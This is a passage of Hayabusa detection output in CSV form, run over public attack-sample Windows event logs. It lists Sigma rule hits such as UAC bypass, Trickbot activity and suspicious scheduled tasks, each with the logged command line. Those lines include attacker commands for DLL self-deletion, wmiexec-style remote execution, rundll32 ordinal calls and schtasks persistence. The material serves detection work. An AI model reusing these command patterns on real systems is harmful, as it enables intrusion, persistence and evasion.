C:\Windows\Explorer.EXE",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/Malware/sideloading_uacbypass_rundll32_injection_c2.evtx +2020-10-17 20:43:27.499 +09:00,MSEDGEWIN10,1,high,Execution from Suspicious Folder,,rules/sigma/process_creation/win_susp_execution_path.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/Malware/sideloading_uacbypass_rundll32_injection_c2.evtx +2020-10-17 20:43:31.484 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Users\Public\tools\apt\wwlib\test.exe"" : Path: C:\Users\Public\tools\apt\wwlib\test.exe : User: MSEDGEWIN10\IEUser : Parent Command: C:\Windows\SysWOW64\DllHost.exe /Processid:{3E5FC7F9-9A51-4367-9063-A120244FBEC7}",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/Malware/sideloading_uacbypass_rundll32_injection_c2.evtx +2020-10-17 20:43:31.484 +09:00,MSEDGEWIN10,1,high,Execution from Suspicious Folder,,rules/sigma/process_creation/win_susp_execution_path.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/Malware/sideloading_uacbypass_rundll32_injection_c2.evtx +2020-10-17 20:43:31.484 +09:00,MSEDGEWIN10,1,high,CMSTP UAC Bypass via COM Object Access,,rules/sigma/process_creation/win_cmstp_com_object_access.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/Malware/sideloading_uacbypass_rundll32_injection_c2.evtx +2020-10-17 20:43:33.495 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: C:\Users\IEUser\AppData\Roaming\WINWORD.exe --xStart : Path: C:\Users\IEUser\AppData\Roaming\WINWORD.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Users\Public\tools\apt\wwlib\test.exe"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/Malware/sideloading_uacbypass_rundll32_injection_c2.evtx +2020-10-17 20:43:36.306 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\System32\rundll32.exe"" : Path: C:\Windows\SysWOW64\rundll32.exe : User: MSEDGEWIN10\IEUser : Parent Command: C:\Users\IEUser\AppData\Roaming\WINWORD.exe --xStart",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/Malware/sideloading_uacbypass_rundll32_injection_c2.evtx +2020-10-17 20:43:36.306 +09:00,MSEDGEWIN10,1,high,Microsoft Office Product Spawning Windows Shell,,rules/sigma/process_creation/win_office_shell.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/Malware/sideloading_uacbypass_rundll32_injection_c2.evtx +2020-10-17 20:43:40.902 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\System32\explorer.exe"" : Path: C:\Windows\SysWOW64\explorer.exe : User: MSEDGEWIN10\IEUser : Parent Command: C:\Users\IEUser\AppData\Roaming\WINWORD.exe --xStart",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/Malware/sideloading_uacbypass_rundll32_injection_c2.evtx +2020-10-17 20:43:40.903 +09:00,MSEDGEWIN10,8,high,CACTUSTORCH Remote Thread Creation,,rules/sigma/create_remote_thread/sysmon_cactustorch.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/Malware/sideloading_uacbypass_rundll32_injection_c2.evtx +2020-10-17 20:43:45.120 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Users\IEUser\AppData\Roaming\WINWORD.exe"" : Path: C:\Users\IEUser\AppData\Roaming\WINWORD.exe : User: MSEDGEWIN10\IEUser : Parent Command: C:\Users\IEUser\AppData\Roaming\WINWORD.exe --xStart",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/Malware/sideloading_uacbypass_rundll32_injection_c2.evtx +2020-10-17 20:43:45.120 +09:00,MSEDGEWIN10,1,high,MS Office Product Spawning Exe in User Dir,,rules/sigma/process_creation/win_office_spawn_exe_from_users_directory.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/Malware/sideloading_uacbypass_rundll32_injection_c2.evtx +2020-10-17 20:43:49.229 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: cmd /c ping 127.0.0.1&&del del /F /Q /A:H ""C:\Users\IEUser\AppData\Roaming\wwlib.dll"" : Path: C:\Windows\SysWOW64\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: C:\Users\IEUser\AppData\Roaming\WINWORD.exe --xStart",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/Malware/sideloading_uacbypass_rundll32_injection_c2.evtx +2020-10-17 20:43:49.229 +09:00,MSEDGEWIN10,1,high,Microsoft Office Product Spawning Windows Shell,,rules/sigma/process_creation/win_office_shell.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/Malware/sideloading_uacbypass_rundll32_injection_c2.evtx +2020-10-17 20:50:02.661 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: C:\Users\IEUser\AppData\Local\Temp\{ACA8FE61-4C38-4216-A89C-9F88343DF21F}-GoogleUpdateSetup.exe : URL: http://r3---sn-5hnedn7z.gvt1.com/edgedl/release2/update2/HvaldRNSrX7_feOQD9wvGQ_1.3.36.32/GoogleUpdateSetup.exe?cms_redirect=yes&mh=Aq&mip=213.127.67.142&mm=28&mn=sn-5hnedn7z&ms=nvh&mt=1602935359&mv=m&mvi=3&pl=17&shardbypass=yes,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-10-17 21:32:08.987 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: C:\Users\IEUser\AppData\Local\Temp\{8B60600B-E6B4-4083-99F3-D3A4CFB95796}-86.0.4240.75_85.0.4183.121_chrome_updater.exe : URL: http://r2---sn-5hne6nsr.gvt1.com/edgedl/release2/chrome/W_YanCvPLKRFNu-eN8kKOw_86.0.4240.75/86.0.4240.75_85.0.4183.121_chrome_updater.exe?cms_redirect=yes&mh=ps&mip=213.127.67.142&mm=28&mn=sn-5hne6nsr&ms=nvh&mt=1602937879&mv=m&mvi=2&pl=17&shardbypass=yes,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-10-17 21:32:11.026 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: PreSignInSettingsConfigJSON : URL: https://g.live.com/odclientsettings/Prod,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-10-17 21:32:11.318 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: UpdateDescriptionXml : URL: https://g.live.com/1rewlive5skydrive/ODSUProduction,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-10-17 21:32:11.574 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: SetupBinary : URL: https://oneclient.sfx.ms/Win/Prod/20.169.0823.0006/OneDriveSetup.exe,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-10-17 21:33:56.406 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: PreSignInSettingsConfigJSON : URL: https://g.live.com/odclientsettings/Prod,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-10-18 01:27:08.081 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: calc.exe : Path: C:\Windows\SysWOW64\calc.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\ProgramData\Intel\CV.exe"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/sideloading_wwlib_sysmon_7_1_11.evtx +2020-10-18 01:27:08.734 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Program Files\WindowsApps\Microsoft.WindowsCalculator_10.2008.2.0_x64__8wekyb3d8bbwe\Calculator.exe"" -ServerName:App.AppXsm3pg4n7er43kdh1qp4e79f1j7am68r8.mca : Path: C:\Program Files\WindowsApps\Microsoft.WindowsCalculator_10.2008.2.0_x64__8wekyb3d8bbwe\Calculator.exe : User: MSEDGEWIN10\IEUser : Parent Command: ?",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/sideloading_wwlib_sysmon_7_1_11.evtx +2020-10-18 01:27:10.464 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: C:\Windows\System32\RuntimeBroker.exe -Embedding : Path: C:\Windows\System32\RuntimeBroker.exe : User: MSEDGEWIN10\IEUser : Parent Command: ?,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/sideloading_wwlib_sysmon_7_1_11.evtx +2020-10-18 07:37:52.809 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: Push Notification Platform Job: 1 : URL: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/BB1a7GBU.img?w=100&h=100&m=6&tilesize=medium&ms-scale=100&ms-contrast=standard,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-10-18 07:37:52.892 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: Push Notification Platform Job: 1 : URL: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/BB1a7GBU.img?w=100&h=100&m=6&tilesize=medium&ms-scale=100&ms-contrast=standard,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-10-18 07:37:52.956 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: Push Notification Platform Job: 1 : URL: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/BB1a7GBU.img?w=100&h=100&m=6&tilesize=medium&ms-scale=100&ms-contrast=standard,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-10-18 07:37:52.991 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: Push Notification Platform Job: 1 : URL: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/BB1a7GBU.img?w=100&h=100&m=6&tilesize=medium&ms-scale=100&ms-contrast=standard,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-10-18 07:37:53.047 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: Push Notification Platform Job: 1 : URL: https://site-cdn.onenote.net/161340731555_Images/LiveTileImages/MediumAndLarge/Image1.png,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-10-18 07:37:53.111 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: Push Notification Platform Job: 1 : URL: https://site-cdn.onenote.net/161340731555_Images/LiveTileImages/MediumAndLarge/Image1.png,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-10-18 07:37:53.169 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: Push Notification Platform Job: 1 : URL: https://site-cdn.onenote.net/161340731555_Images/LiveTileImages/MediumAndLarge/Image1.png,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-10-18 07:37:53.230 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: Push Notification Platform Job: 1 : URL: https://site-cdn.onenote.net/161340731555_Images/LiveTileImages/MediumAndLarge/Image1.png,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-10-18 07:37:53.417 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: Push Notification Platform Job: 1 : URL: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/BB1a7GBU.img?w=100&h=100&m=6&tilesize=medium&ms-scale=100&ms-contrast=standard,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-10-18 07:37:53.527 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: Push Notification Platform Job: 1 : URL: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/BB1a7GBU.img?w=100&h=100&m=6&tilesize=medium&ms-scale=100&ms-contrast=standard,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-10-18 07:37:53.571 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: Push Notification Platform Job: 1 : URL: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/BB1a7GBU.img?w=100&h=100&m=6&tilesize=medium&ms-scale=100&ms-contrast=standard,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-10-18 07:37:53.664 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: Push Notification Platform Job: 1 : URL: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/BB1a7GBU.img?w=100&h=100&m=6&tilesize=medium&ms-scale=100&ms-contrast=standard,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-10-18 07:37:53.771 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: Push Notification Platform Job: 1 : URL: https://site-cdn.onenote.net/161340731555_Images/LiveTileImages/MediumAndLarge/Image1.png,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-10-18 07:37:53.807 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: Push Notification Platform Job: 1 : URL: https://site-cdn.onenote.net/161340731555_Images/LiveTileImages/MediumAndLarge/Image1.png,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-10-18 07:37:53.867 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: Push Notification Platform Job: 1 : URL: https://site-cdn.onenote.net/161340731555_Images/LiveTileImages/MediumAndLarge/Image1.png,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-10-18 07:37:53.928 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: Push Notification Platform Job: 1 : URL: https://site-cdn.onenote.net/161340731555_Images/LiveTileImages/MediumAndLarge/Image1.png,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-10-18 07:53:05.436 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: cmd.exe /Q /c cd \ 1> \\127.0.0.1\C$\WqEVwJZYOe 2>&1 : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\Administrator : Parent Command: C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/smbmap_upload_exec_sysmon.evtx +2020-10-18 07:53:05.436 +09:00,MSEDGEWIN10,1,high,Wmiprvse Spawning Process,,rules/sigma/process_creation/win_wmiprvse_spawning_process.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/smbmap_upload_exec_sysmon.evtx +2020-10-18 07:53:05.676 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: cmd.exe /Q /c cd 1> \\127.0.0.1\C$\WqEVwJZYOe 2>&1 : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\Administrator : Parent Command: C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/smbmap_upload_exec_sysmon.evtx +2020-10-18 07:53:05.676 +09:00,MSEDGEWIN10,1,high,Wmiprvse Spawning Process,,rules/sigma/process_creation/win_wmiprvse_spawning_process.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/smbmap_upload_exec_sysmon.evtx +2020-10-18 07:53:05.777 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: cmd.exe /Q /c c:\windows\system32\rundll32.exe c:\programdata\7okjer,#1 1> \\127.0.0.1\C$\WqEVwJZYOe 2>&1 : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\Administrator : Parent Command: C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/smbmap_upload_exec_sysmon.evtx +2020-10-18 07:53:05.777 +09:00,MSEDGEWIN10,1,high,Wmiprvse Spawning Process,,rules/sigma/process_creation/win_wmiprvse_spawning_process.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/smbmap_upload_exec_sysmon.evtx +2020-10-20 20:50:54.810 +09:00,DESKTOP-NTSSLJD,1,high,Process Creation Sysmon Rule Alert,"Rule: technique_id=T1059.001,technique_name=PowerShell : Command: ""C:\Users\den\Source\Repos\UACME\Source\Akagi\output\x64\Release\Akagi64.exe"" 64 : Path: C:\Users\den\Source\Repos\UACME\Source\Akagi\output\x64\Release\Akagi64.exe : User: DESKTOP-NTSSLJD\den : Parent Command: ""C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"" ",rules/hayabusa/sysmon/alerts/1_ProcessCreationSysmonAlert.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_64.evtx +2020-10-20 20:50:54.810 +09:00,DESKTOP-NTSSLJD,1,high,UAC Bypass Tool UACMe,,rules/sigma/process_creation/win_hktl_uacme_uac_bypass.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_64.evtx +2020-10-20 20:50:55.450 +09:00,DESKTOP-NTSSLJD,11,high,UAC Bypass Using IEInstal - File,,rules/sigma/file_event/sysmon_uac_bypass_ieinstal.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_64.evtx +2020-10-20 20:50:56.490 +09:00,DESKTOP-NTSSLJD,1,high,Process Creation Sysmon Rule Alert,"Rule: technique_id=T1036,technique_name=Masquerading : Command: C:\Users\den\AppData\Local\Temp\IDC1.tmp\[1]consent.exe : Path: C:\Users\den\AppData\Local\Temp\IDC1.tmp\[1]consent.exe : User: DESKTOP-NTSSLJD\den : Parent Command: ""C:\Program Files\Internet Explorer\IEInstal.exe"" -Embedding",rules/hayabusa/sysmon/alerts/1_ProcessCreationSysmonAlert.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_64.evtx +2020-10-20 20:50:56.490 +09:00,DESKTOP-NTSSLJD,1,high,UAC Bypass Tool UACMe,,rules/sigma/process_creation/win_hktl_uacme_uac_bypass.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_64.evtx +2020-10-20 20:50:56.490 +09:00,DESKTOP-NTSSLJD,1,high,UAC Bypass Using IEInstal - Process,,rules/sigma/process_creation/win_uac_bypass_ieinstal.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_64.evtx +2020-10-20 20:50:56.569 +09:00,DESKTOP-NTSSLJD,1,high,Process Creation Sysmon Rule Alert,"Rule: technique_id=T1059.003,technique_name=Windows Command Shell : Command: ""C:\Windows\system32\cmd.exe"" : Path: C:\Windows\System32\cmd.exe : User: DESKTOP-NTSSLJD\den : Parent Command: C:\Users\den\AppData\Local\Temp\IDC1.tmp\[1]consent.exe",rules/hayabusa/sysmon/alerts/1_ProcessCreationSysmonAlert.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_64.evtx +2020-10-21 07:33:02.063 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: C:\Windows\system32\wermgr.exe : Path: C:\Windows\System32\wermgr.exe : User: MSEDGEWIN10\IEUser : Parent Command: rundll32.exe c:\temp\winfire.dll,DllRegisterServer",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/Malware/rundll32_hollowing_wermgr_masquerading.evtx +2020-10-21 07:33:02.063 +09:00,MSEDGEWIN10,1,critical,Trickbot Malware Activity,,rules/sigma/process_creation/win_malware_trickbot_wermgr.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/Malware/rundll32_hollowing_wermgr_masquerading.evtx +2020-10-21 07:33:02.064 +09:00,MSEDGEWIN10,10,medium,Suspicious In-Memory Module Execution,,rules/sigma/process_access/sysmon_in_memory_assembly_execution.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/Malware/rundll32_hollowing_wermgr_masquerading.evtx +2020-10-21 07:35:26.755 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding : Path: C:\Windows\System32\wbem\WmiPrvSE.exe : User: NT AUTHORITY\NETWORK SERVICE : Parent Command: ?,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/Malware/rundll32_hollowing_wermgr_masquerading.evtx +2020-10-24 06:55:59.769 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: C:\Users\IEUser\AppData\Local\Temp\{2015B2D1-1706-42F6-8C0E-8BEECB408D48}-86.0.4240.111_86.0.4240.75_chrome_updater.exe : URL: http://r2---sn-5hnekn7z.gvt1.com/edgedl/release2/chrome/E4_ltUMmNI-KvJYPRyaXng_86.0.4240.111/86.0.4240.111_86.0.4240.75_chrome_updater.exe?cms_redirect=yes&mh=3q&mip=213.127.65.23&mm=28&mn=sn-5hnekn7z&ms=nvh&mt=1603490058&mv=m&mvi=2&pl=17&shardbypass=yes,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-10-24 06:57:29.217 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding : Path: C:\Windows\System32\wbem\WmiPrvSE.exe : User: NT AUTHORITY\NETWORK SERVICE : Parent Command: ?,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/Malware/rundll32_cmd_schtask.evtx +2020-10-24 06:57:36.014 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\System32\rundll32.exe"" conf3234.dll f8753 d948 : Path: C:\Windows\SysWOW64\rundll32.exe : User: MSEDGEWIN10\IEUser : Parent Command: c:\Users\Public\test.tmp ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/Malware/rundll32_cmd_schtask.evtx +2020-10-24 06:57:36.399 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\System32\cmd.exe"" /C schtasks /Create /f /XML C:\Users\IEUser\AppData\Local\Temp\sduchxll.tmp /TN DataUsageHandlers : Path: C:\Windows\SysWOW64\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\System32\rundll32.exe"" conf3234.dll f8753 d948",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/Malware/rundll32_cmd_schtask.evtx +2020-10-24 06:57:36.631 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: schtasks /Create /f /XML C:\Users\IEUser\AppData\Local\Temp\sduchxll.tmp /TN DataUsageHandlers : Path: C:\Windows\SysWOW64\schtasks.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\System32\cmd.exe"" /C schtasks /Create /f /XML C:\Users\IEUser\AppData\Local\Temp\sduchxll.tmp /TN DataUsageHandlers",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/Malware/rundll32_cmd_schtask.evtx +2020-10-24 06:57:36.631 +09:00,MSEDGEWIN10,1,low,Scheduled Task Creation,,rules/sigma/process_creation/win_susp_schtask_creation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/Malware/rundll32_cmd_schtask.evtx +2020-10-24 06:57:36.631 +09:00,MSEDGEWIN10,1,high,Suspicius Add Task From User AppData Temp,,rules/sigma/process_creation/win_pc_susp_schtasks_user_temp.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/Malware/rundll32_cmd_schtask.evtx +2020-10-24 06:58:17.176 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: Rundll32.exe shell32.dll,Control_RunDLL C:\PROGRA~3\DATAUS~1.DLL 4624665222 : Path: C:\Windows\System32\rundll32.exe : User: MSEDGEWIN10\IEUser : Parent Command: ?",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/Malware/rundll32_cmd_schtask.evtx +2020-10-24 06:58:17.176 +09:00,MSEDGEWIN10,1,medium,Suspicious Rundll32 Activity,,rules/sigma/process_creation/win_susp_rundll32_activity.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/Malware/rundll32_cmd_schtask.evtx +2020-10-24 06:58:17.543 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\SysWOW64\rundll32.exe"" ""C:\Windows\SysWOW64\shell32.dll"",#44 C:\PROGRA~3\DATAUS~1.DLL 4624665222 : Path: C:\Windows\SysWOW64\rundll32.exe : User: MSEDGEWIN10\IEUser : Parent Command: Rundll32.exe shell32.dll,Control_RunDLL C:\PROGRA~3\DATAUS~1.DLL 4624665222",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/Malware/rundll32_cmd_schtask.evtx +2020-10-24 06:58:17.543 +09:00,MSEDGEWIN10,1,high,Suspicious Call by Ordinal,,rules/sigma/process_creation/win_susp_rundll32_by_ordinal.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/Malware/rundll32_cmd_schtask.evtx +2020-10-24 06:58:21.695 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: rundll32.exe C:\PROGRA~3\DATAUS~1.DLL f8755 4624665222 : Path: C:\Windows\SysWOW64\rundll32.exe : User: MSEDGEWIN10\IEUser : 